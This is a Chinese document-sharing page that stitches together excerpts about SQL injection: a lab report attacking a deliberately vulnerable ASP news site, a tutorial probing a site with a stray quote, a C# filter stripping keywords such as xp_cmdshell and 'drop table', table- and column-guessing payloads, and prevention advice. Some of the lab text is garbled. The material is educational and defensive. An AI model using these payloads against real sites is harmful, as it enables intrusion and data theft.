一、实验目的 通过SQL注入攻击,掌握网站的工作机制,认识到SQL注入攻击的防范措施,加强对Wet攻击的防范。 二、实验环境 描述实验开展所基于的网络环境,给出网络拓扑、IP地址、web服务器、客户机等信息。 宿主机(客户机):操作系统为Windows 10,IP为,在主机上安装虚拟化软件Vmware Player,在此基础上创建虚拟机并安装操作系统,进行网络配置,采用环回适配器,桥接模式,实现宿主机与虚拟机之间的网络通信, 虚拟机(Web服务器):操作系统为Windows XP, IP为, 本实验利用windows的iis 服务搭建了一个有SQL注入漏洞的网站“ ASP新闻发布系统”,以该网站为目标,对其实施SQL注入攻击。 本实验所需工具如下: IIS 是In ternet In formation Server 的缩写,是微软提供的In ternet 服务器软件,包括Web FTP Mail等服务器,也是目前常用的服务器软件。版本不限。 “啊D'注入工具:对“ MSSQL显错模式”、“ MSSQL不显错模式”、 “ Access ”等数据库都有很好的注入检测能力,内集“跨库查询”、“注入点扫描”、“管理入口检测”、“目录查看”等等于一身的注入工具包。 “ ASP新闻发布系统” 0k3w源码。 三、实验内容 (一)配置实验环境, 首先选择网络适配器,安装环回适配器,在主机上安装VmwarePlayer,成功启 动虚拟机。接着配置宿主机和虚拟机的IP,如图 如鸭宓韵站M6,矗可咗取兰為詡鮒IP £&.逵删.你愛養从网屯雋諭苗細也義 晦电国酌pm 10 ?4出勺I 子网?屮 要注意的是,配置主机上的IP时,应该选择VMnet8,并且注意勾取Bridge

SQL注入漏洞分析及防范

SQL注入漏洞分析及防范 随着B/S模式应用开发的发展,使用这种模式编写应用程序的程序员也越来越多。但是由于这个行业的入门门槛不高,程序员的水平及经验也参差不齐,相当大一部分程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,使应用程序存在安全隐患。用户可以提交一段数据库查询代码,根据程序返回的结果,获得某些他想得知的数据,这就是所谓的SQL Injection,即SQL注入。 SQL注入是从正常的WWW端口访问,而且表面看起来跟一般的Web页面访问没什么区别,所以目前市面的防火墙都不会对SQL注入发出警报,如果管理员没查看IIS日志的习惯,可能被入侵很长时间都不会发觉。 但是,SQL注入的手法相当灵活,在注入的时候会碰到很多意外的情况。能不能根据具体情况进行分析,构造巧妙的SQL语句,从而成功获取想要的数据,是需要对sql注入有较深的理解。 根据国情,国内的网站用ASP+Access或SQLServer的占70%以上,PHP+MySQ占L20%,其他的不足10%。在本文,我们从分入门、进阶至高级讲解一下注入的方法及技巧,希望对安全工作者和程序员都有用处。 入门篇 如果你以前没试过SQL注入的话,那么第一步先把IE菜单=>工具=>Internet选项=>高级=>显示友好HTTP 错误信息前面的勾去掉。否则,不论服务器返回什么错误,IE都只显示为HTTP 500服务器错误,不能获得更多的提示信息。 第一节、SQL注入原理 以下我们从一个网站https://www.360docs.net/doc/0817961985.html,开始(注:本文发表前已征得该站站长同意,大部分都是真实数据)。 在网站首页上,有名为“IE不能打开新窗口的多种解决方法”的链接,地址为: https://www.360docs.net/doc/0817961985.html,/showdetail.asp?id=49,我们在这个地址后面加上单引号’,服务器会返回下面的错误提示: Microsoft JET Database Engine 错误 '80040e14' 字符串的语法错误在查询表达式 'ID=49'' 中。 /showdetail.asp,行8 从这个错误提示我们能看出下面几点: 1.网站使用的是Access数据库,通过JET引擎连接数据库,而不是通过ODBC。 2.程序没有判断客户端提交的数据是否符合程序要求。 3.该SQL语句所查询的表中有一名为ID的字段。 从上面的例子我们可以知道,SQL注入的原理,就是从客户端提交特殊的代码,从而收集程序及服务器的信息,从而获取你想到得到的资料。 第二节、判断能否进行SQL注入

SQL注入漏洞攻击研究及防范措施

基于SQL的Web系统安全防范——SQL注入漏洞 攻击研究及防范措施 SQL-Based Web System Security——Structured Query Language Injection Leak Attack Study And Defense Measure 摘要:在当今的数字世界中,人们发现在维持公开的Internet连接的同时,保护网络和计算机系统的安全变得越来越困难。病毒、木马、后门、蠕虫等攻击层出不穷,虚假网站的钓鱼行为也让警惕性不高的公众深受其害。据有关部门统计,2008年一季度,我国有15万台主机被植入木马,网站篡改数量迅速增加,预计已达5835个,其中政府网站达484个,每月564次的安全事件报告。为了减轻信息泄露及系统攻击带来的风险,企业和机构开始对自己的系统进行渗透性测试,找出其中存在的漏洞和安全隐患。本文通过对目前最流行的SQL注入漏洞攻击的过程做了逐一的分析, 并提出了检测方法和防范措施。 关键字:SQL注入漏洞攻击脚本攻击 SQL注入点检测防范模型有害代码

SQL注入(SQL Injection)漏洞攻击是目前网上最流行最热门的黑客脚本攻击方法之一,那什么是SQL 注入漏洞攻击呢?它是指黑客利用一些Web应用程序(如:网站、论坛、留言本、文章发布系统等)中某些存在不安全代码或SQL语句不缜密的页面,精心构造SQL语句,把非法的SQL语句指令转译到系统实际SQL语句中并执行它,以获取用户名、口令等敏感信息,从而达到控制主机服务器的攻击方法。 1. SQL注入漏洞攻击原理 1. 1 SQL注入漏洞攻击实现原理 SQL(Structured Query Language)是一种用来和数据库交互的语言文本。SQL注入的攻击原理就是攻击者通过Web应用程序利用SQL语句或字符串将非法的数据插入到服务器端数据库中,获取数据库的管理用户权限,然后将数据库管理用户权限提升至操作系统管理用户权限,控制服务器操作系统,获取重要信息及机密文件。 SQL注入漏洞攻击主要是通过借助于HDSI、NBSI 和Domain等SQL注入漏洞扫描工具扫描出Web页面中存在的SQL注入漏洞,从而定位SQL注入点,通过执行非法的SQL语句或字符串达到入侵者想要的操

关于SQL注入漏洞注入的补丁已经修补过程

关于SQL注入漏洞注入的补丁已经修补过 程 针对非书资料系统SQL注入问题 已经做以下修正: 1.已经在服务器端加强URL请求字符过滤 具体过滤字段如下: ///

/// 过滤标记 /// /// 包括HTML,脚本,数据库关键字,特殊字符的源码 /// 已经去除标记后的文字 public static string NoHTML(string Htmlstring) { if (Htmlstring == null) { return ""; } else { //删除脚本 Htmlstring = Regex.Replace(Htmlstring, @"]*?>.*?", "", RegexOptions.IgnoreCase); //删除HTML //Htmlstring = Regex.Replace(Htmlstring, @"<(.[^>]*)>", "", RegexOptions.IgnoreCase); Htmlstring = Regex.Replace(Htmlstring, @"([/r/n])[/s]+", "", RegexOptions.IgnoreCase); Htmlstring = Regex.Replace(Htmlstring, @"-->", "", RegexOptions.IgnoreCase);

RegexOptions.IgnoreCase); ?Htmlstring = Regex.Replace(Htmlstring, @"&(quot|#34);", "/"", RegexOptions.IgnoreCase); Htmlstring = Regex.Replace(Htmlstring, @"&(amp|#38);", "&", RegexOptions.IgnoreCase); Htmlstring = Regex.Replace(Htmlstring, @"&(lt|#60);", "<", RegexOptions.IgnoreCase); Htmlstring = Regex.Replace(Htmlstring, @"&(gt|#62);", ">", RegexOptions.IgnoreCase); Htmlstring = Regex.Replace(Htmlstring, @"&(nbsp|#160);", " ", RegexOptions.IgnoreCase); Htmlstring = Regex.Replace(Htmlstring, @"&(iexcl|#161);", "/xa1", RegexOptions.IgnoreCase); Htmlstring = Regex.Replace(Htmlstring, @"&(cent|#162);", "/xa2", RegexOptions.IgnoreCase); Htmlstring = Regex.Replace(Htmlstring, @"&(pound|#163);", "/xa3", RegexOptions.IgnoreCase); Htmlstring = Regex.Replace(Htmlstring, @"&(copy|#169);", "/xa9", RegexOptions.IgnoreCase); Htmlstring = Regex.Replace(Htmlstring, @"&#(/d+);", "", RegexOptions.IgnoreCase); Htmlstring = Regex.Replace(Htmlstring, "xp_cmdshell", "", RegexOptions.IgnoreCase); ?//删除与数据库相关的词 // Htmlstring = Regex.Replace(Htmlstring, "select", "", RegexOptions.IgnoreCase); // Htmlstring = Regex.Replace(Htmlstring, "insert", "", RegexOptions.IgnoreCase); Htmlstring = Regex.Replace(Htmlstring, "delete from", "", RegexOptions.IgnoreCase); // Htmlstring = Regex.Replace(Htmlstring, "count''", "", RegexOptions.IgnoreCase); Htmlstring = Regex.Replace(Htmlstring, "drop table", "", RegexOptions.IgnoreCase);

SQL注入与XSS漏洞

SQL注入与XSS漏洞 所谓SQL注入,就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令,比如先前的很多影视网站泄露VIP会员密码大多就是通过WEB表单递交查询字符暴出的,这类表单特别容易受到SQL注入式攻击. 当应用程序使用输入内容来构造动态sql语句以访问数据库时,会发生sql注入攻击。如果代码使用存储过程,而这些存储过程作为包含未筛选的用户输入的字符串来传递,也会发生sql注入。sql注入可能导致攻击者使用应用程序登陆在数据库中执行命令。如果应用程序使用特权过高的帐户连接到数据库,这种问题会变得很严重。在某些表单中,用户输入的内容直接用来构造(或者影响)动态sql命令,或者作为存储过程的输入参数,这些表单特别容易受到sql注入的攻击。而许多网站程序在编写时,没有对用户输入的合法性进行判断或者程序中本身的变量处理不当,使应用程序存在安全隐患。这样,用户就可以提交一段数据库查询的代码,根据程序返回的结果,获得一些敏感的信息或者控制整个服务器,于是sql注入就发生了。 注入大致方法: 先猜表名 And (Select count(*) from 表名)<>0 猜列名 And (Select count(列名) from 表名)<>0 或者也可以这样 and exists (select * from 表名) and exists (select 列名 from 表名) 返回正确的,那么写的表名或列名就是正确 这里要注意的是,exists这个不能应用于猜内容上,例如and exists (select le n(user) from admin)>3 这样是不信的 现在很多人都是喜欢查询里面的内容,一旦iis没有关闭错误提示的,那么就可以利用报错方法轻松获得库里面的内容 获得数据库连接用户名:;and user>0 这个是小竹提出来的,我这里引用《SQL注入天书》里面的一段话来讲解: ---------------------------------- ------------------------------------ ------------------------------------"重点在and user>0,我们知道,user是SQLServer的一个内置变量,它的值是当前连接的用户名,类型为nvarchar。拿一个 nvarchar的值跟int的数0比较,系统会先试图将nvarchar的值转成int型,当然,转的过程中肯定会出错,SQLSer ver

sql注入测试

sql注入原理 SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作,其主要原因是程序没有细致地过滤用户输入的数据,致使非法数据侵入系统。 根据相关技术原理,SQL注入可以分为平台层注入和代码层注入。前者由不安全的数据库配置或数据库平台的漏洞所致;后者主要是由于程序员对输入未进行细致地过滤,从而执行了非法的数据查询。基于此,SQL注入的产生原因通常表现在以下几方面:①不当的类型处理;②不安全的数据库配置;③不合理的查询集处理;④不当的错误处理;⑤转义字符处理不合适;⑥多个提交处理不当。 sql注入攻击 当应用程序使用输入内容来构造动态sql语句以访问数据库时,会发生sql注入攻击。如果代码使用存储过程,而这些存储过程作为包含未筛选的用户输入的字符串来传递,也会发生sql注入。sql注入可能导致攻击者使用应用程序登陆在数据库中执行命令。相关的SQL 注入可以通过测试工具pangolin进行。如果应用程序使用特权过高的帐户连接到数据库,这种问题会变得很严重。在某些表单中,用户输入的内容直接用来构造动态sql命令,或者作为存储过程的输入参数,这些表单特别容易受到sql注入的攻击。而许多网站程序在编写时,没有对用户输入的合法性进行判断或者程序中本身的变量处理不当,使应用程序存在安全隐患。这样,用户就可以提交一段数据库查询的代码,根据程序返回的结果,获得一些敏感的信息或者控制整个服务器,于是sql注入就发生了。 防止SQL注入 归纳一下,主要有以下几点: 1.永远不要信任用户的输入。对用户的输入进行校验,可以通过正则表达式,或限制长度;对单引号和 双"-"进行转换等。 2.永远不要使用动态拼装sql,可以使用参数化的sql或者直接使用存储过程进行数据查询存取。 3.永远不要使用管理员权限的数据库连接,为每个应用使用单独的权限有限的数据库连接。 4.不要把机密信息直接存放,加密或者hash掉密码和敏感的信息。 5.应用的异常信息应该给出尽可能少的提示,最好使用自定义的错误信息对原始错误信息进行包装

相关文档
最新文档